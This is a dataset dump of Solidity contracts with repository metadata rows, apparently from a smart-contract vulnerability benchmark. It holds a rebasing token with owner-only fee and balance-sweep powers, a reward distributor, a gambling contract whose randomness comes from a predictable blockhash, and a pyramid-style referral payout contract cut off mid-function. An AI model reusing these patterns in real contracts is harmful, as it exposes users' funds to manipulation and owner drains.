emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function approve(address spender, uint256 value) external override returns (bool) {
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function checkFeeExempt(address _addr) external view returns (bool) {
return _isFeeExempt[_addr];
}
function getCirculatingSupply() public view returns (uint256) {
return (TOTAL_GONS.sub(_gonBalances[DEAD]).sub(_gonBalances[ZERO])).div(_gonsPerFragment);
}
function isNotInSwap() external view returns (bool) {
return !inSwap;
}
function manualSync() external {
IJoePair(pair).sync();
}
function setFeeReceivers(address _autoLiquidityReceiver,
address _treasuryReceiver,
address _stashInsuranceFundReceiver) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
treasuryReceiver = _treasuryReceiver;
stashInsuranceFundReceiver = _stashInsuranceFundReceiver;
}
function setFees(uint256 _liquidityFee,
uint256 _treasuryFee,
uint256 _stashInsuranceFundFee,
uint256 _sellFee,
uint256 _burnRate,
uint256 _feeDenominator) external onlyOwner {
liquidityFee = _liquidityFee;
treasuryFee = _treasuryFee;
stashInsuranceFundFee = _stashInsuranceFundFee;
sellFee = _sellFee;
burnRate = _burnRate;
feeDenominator = _feeDenominator;
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
uint256 liquidityBalance = _gonBalances[pair].div(_gonsPerFragment);
return accuracy.mul(liquidityBalance.mul(2)).div(getCirculatingSupply());
}
function setWhitelist(address _addr) external onlyOwner {
_isFeeExempt[_addr] = true;
}
function setBotBlacklist(address _botAddress, bool _flag) external onlyOwner {
require(isContract(_botAddress), "MUST_BE_A_CONTRACT_ADDRESS");
blacklist[_botAddress] = _flag;
}
function setLP(address _address) external onlyOwner {
pair = _address;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address who) external view override returns (uint256) {
return _gonBalances[who].div(_gonsPerFragment);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
function rescue() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function rescueToken(address tokenAddress, uint256 amount) external onlyOwner {
require(IERC20(tokenAddress).transfer(msg.sender, amount), "RESCUE_TOKENS_FAILED");
}
receive() external payable {}
}
| 111,352 | 595 |
28797251061a99bc80e774d05b377d5a7c068b365c9795c82340dcbc10ff3db3
| 17,547 |
.sol
|
Solidity
| false |
541993348
|
topcoder1208/nowdao-contract
|
763d2acfa2867b479d9eeec0e69149f55b0e1310
|
contracts/StakingDistributor.sol
| 4,007 | 15,838 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable NMETA;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _nmeta, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_nmeta != address(0));
NMETA = _nmeta;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(NMETA).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
function resetNextEpochTime(uint32 _nextEpochTime) external onlyPolicy() {
nextEpochTime = _nextEpochTime;
}
}
| 64,351 | 596 |
77cbede987f565cda22cbb5e056f9fc58b997767aebeed706440466acbdeab85
| 9,144 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xd3e44ea9246f282e0aefcb28d9ee45f7f6629ce5.sol
| 3,009 | 9,061 |
pragma solidity ^0.4.25;
interface DSG {
function gamingDividendsReception() payable external;
}
contract DSG_Turntable{
using SafeMath for uint256;
address constant public DSG_ADDRESS = 0x696826C18A6Bc9Be4BBfe3c3A6BB9f5a69388687;
uint256 public totalDividends;
uint256 public totalWinnings;
uint256 public totalTurnover;
uint256 public totalPlayed;
uint256 public maxBet;
uint256 public minBet;
uint256 public minContractBalance;
uint256 public minBetForJackpot;
uint256 public jackpotBalance;
uint256 public nextPayout;
uint256 public ownerDeposit;
address[2] public owners;
address[2] public candidates;
bool public paused;
mapping (address => Bet) private usersBets;
struct Bet {
uint256 blockNumber;
uint256 bet;
}
modifier onlyOwners(){
require(msg.sender == owners[0] || msg.sender == owners[1]);
_;
}
modifier onlyUsers(){
require(tx.origin == msg.sender);
_;
}
modifier checkBlockNumber(){
uint256 blockNumber = usersBets[msg.sender].blockNumber;
if(block.number.sub(blockNumber) >= 250 && blockNumber > 0){
emit Result(msg.sender, 1000, 0, jackpotBalance, usersBets[msg.sender].bet, 0);
delete usersBets[msg.sender];
}
else{
_;
}
}
constructor(address secondOwner) public payable{
owners[0] = msg.sender;
owners[1] = secondOwner;
ownerDeposit = msg.value;
jackpotBalance = jackpotBalance.add(ownerDeposit.div(1000));
}
function play() public payable checkBlockNumber onlyUsers{
uint256 bet = msg.value;
require(checkSolvency(bet), "Not enough ETH in contract");
require(paused == false, "Game was stopped");
require(bet >= minBet && bet <= maxBet, "Amount should be within range");
require(usersBets[msg.sender].bet == 0, "You have already bet");
usersBets[msg.sender].bet = bet;
usersBets[msg.sender].blockNumber = block.number;
totalTurnover = totalTurnover.add(bet);
totalPlayed = totalPlayed.add(1);
emit PlaceBet(msg.sender, bet, now);
}
function result() public checkBlockNumber onlyUsers{
require(blockhash(usersBets[msg.sender].blockNumber) != 0, "Your time to determine the result has come out or not yet come");
uint256 bet = usersBets[msg.sender].bet;
uint256 totalWinAmount;
uint256 r = _random(1000);
uint256 winRate = 0;
if(_winChanceJ(r, bet)){
winRate = 1000;
totalWinAmount = totalWinAmount.add(jackpotBalance).add(bet);
emit Jackpot(msg.sender, jackpotBalance, now);
delete jackpotBalance;
}
if(_winChance1x(r)){
winRate = 100;
totalWinAmount = totalWinAmount.add(bet);
}
if(_winChance1_5x(r)){
winRate = 150;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(_winChance2x(r)){
winRate = 200;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(_winChance2_5x(r)){
winRate = 250;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(_winChance3x(r)){
winRate = 300;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(_winChance5x(r)){
winRate = 500;
totalWinAmount = totalWinAmount.add(bet.mul(winRate).div(100));
}
if(totalWinAmount > 0){
msg.sender.transfer(totalWinAmount);
totalWinnings = totalWinnings.add(totalWinAmount);
}
jackpotBalance = jackpotBalance.add(bet.div(1000));
delete usersBets[msg.sender];
emit Result(msg.sender, r, totalWinAmount, jackpotBalance, bet, winRate);
}
function _winChanceJ(uint r, uint bet) private view returns(bool){
if(bet >= minBetForJackpot && r == 999 && jackpotBalance > 0) return true;
else return false;
}
function _winChance5x(uint r) private pure returns(bool){
if(r == 12 || r == 22 || r == 32 || r == 42 || r == 52) return true;
else return false;
}
function _winChance3x(uint r) private pure returns(bool){
if((r >= 80 && r < 83) ||
(r >= 180 && r < 183) ||
(r >= 280 && r < 283) ||
(r >= 380 && r < 383) ||
(r >= 480 && r < 483) ||
(r >= 580 && r < 583) ||
(r >= 680 && r < 683) ||
(r >= 780 && r < 783))
return true;
else return false;
}
function _winChance2_5x(uint r) private pure returns(bool){
if((r >= 75 && r < 80) ||
(r >= 175 && r < 180) ||
(r >= 275 && r < 280) ||
(r >= 375 && r < 380) ||
(r >= 475 && r < 480) ||
(r >= 575 && r < 580) ||
(r >= 675 && r < 680) ||
(r >= 775 && r < 780))
return true;
else return false;
}
function _winChance2x(uint r) private pure returns(bool){
if((r >= 50 && r < 75) || (r >= 350 && r < 375) || (r >= 650 && r < 675) || (r >= 950 && r < 975)) return true;
else return false;
}
function _winChance1_5x(uint r) private pure returns(bool){
if((r >= 25 && r < 50) || (r >= 125 && r < 150)) return true;
else if((r >= 425 && r < 450) || (r >= 525 && r < 550)) return true;
else if((r >= 625 && r < 650) || (r >= 725 && r < 750)) return true;
else return false;
}
function _winChance1x(uint r) private pure returns(bool){
if((r >= 0 && r < 25) || (r >= 100 && r < 125)) return true;
else if((r >= 400 && r < 425) || (r >= 500 && r < 525)) return true;
else if((r >= 600 && r < 625) || (r >= 700 && r < 725)) return true;
else return false;
}
function checkSolvency(uint bet) view public returns(bool){
if(getContractBalance() > bet.mul(500).div(100).add(jackpotBalance)) return true;
else return false;
}
function sendDividends() public {
require(getContractBalance() > minContractBalance && now > nextPayout, "You cannot send dividends");
DSG DSG0 = DSG(DSG_ADDRESS);
uint256 balance = getContractBalance();
uint256 dividends = balance.sub(minContractBalance);
nextPayout = now.add(7 days);
totalDividends = totalDividends.add(dividends);
DSG0.gamingDividendsReception.value(dividends)();
emit Dividends(balance, dividends, now);
}
function getContractBalance() public view returns (uint256){
return address(this).balance;
}
function _random(uint256 max) private view returns(uint256){
bytes32 hash = blockhash(usersBets[msg.sender].blockNumber);
return uint256(keccak256(abi.encode(hash, msg.sender))) % max;
}
function deposit() public payable onlyOwners{
ownerDeposit = ownerDeposit.add(msg.value);
}
function sendOwnerDeposit(address recipient) public onlyOwners{
require(paused == true, 'Game was not stopped');
uint256 contractBalance = getContractBalance();
if(contractBalance >= ownerDeposit){
recipient.transfer(ownerDeposit);
}
else{
recipient.transfer(contractBalance);
}
delete jackpotBalance;
delete ownerDeposit;
}
function pauseGame(bool option) public onlyOwners{
paused = option;
}
function setMinBet(uint256 eth) public onlyOwners{
minBet = eth;
}
function setMaxBet(uint256 eth) public onlyOwners{
maxBet = eth;
}
function setMinBetForJackpot(uint256 eth) public onlyOwners{
minBetForJackpot = eth;
}
function setMinContractBalance(uint256 eth) public onlyOwners{
minContractBalance = eth;
}
function transferOwnership(address newOwnerAddress, uint8 k) public onlyOwners{
candidates[k] = newOwnerAddress;
}
function confirmOwner(uint8 k) public{
require(msg.sender == candidates[k]);
owners[k] = candidates[k];
}
event Dividends(uint256 balance,
uint256 dividends,
uint256 timestamp);
event Jackpot(address indexed player,
uint256 jackpot,
uint256 timestamp);
event PlaceBet(address indexed player,
uint256 bet,
uint256 timestamp);
event Result(address indexed player,
uint256 indexed random,
uint256 totalWinAmount,
uint256 jackpotBalance,
uint256 bet,
uint256 winRate);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 165,311 | 597 |
32fa8fd2c5d5d204d0bd43975724f45cf822cb8cbe36e7bbe5cc90268c9b6900
| 21,861 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTG11wid6H1Q4fBxoAyk4axyP9ynGK4L1F_Naijatron.sol
| 5,547 | 21,301 |
//SourceUnit: nijatron.sol
pragma solidity 0.5.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Naijatron {
using SafeMath for uint256;
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public userIds;
mapping (address => mapping (uint => mapping(uint => uint))) public EarnedTrx;
mapping (address => mapping(uint => uint)) public totalEarnedTrx;
uint public lastUserId = 2;
address public owner;
bool public lockStatus;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedTrxReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraTrxDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address ownerAddress) public {
levelPrice[1] = 500 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
modifier isLock() {
require(lockStatus == false,"Contract Locked");
_;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) isLock external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) isLock external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == levelPrice[1].mul(2), " Invalid price");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTRXDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTRXDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
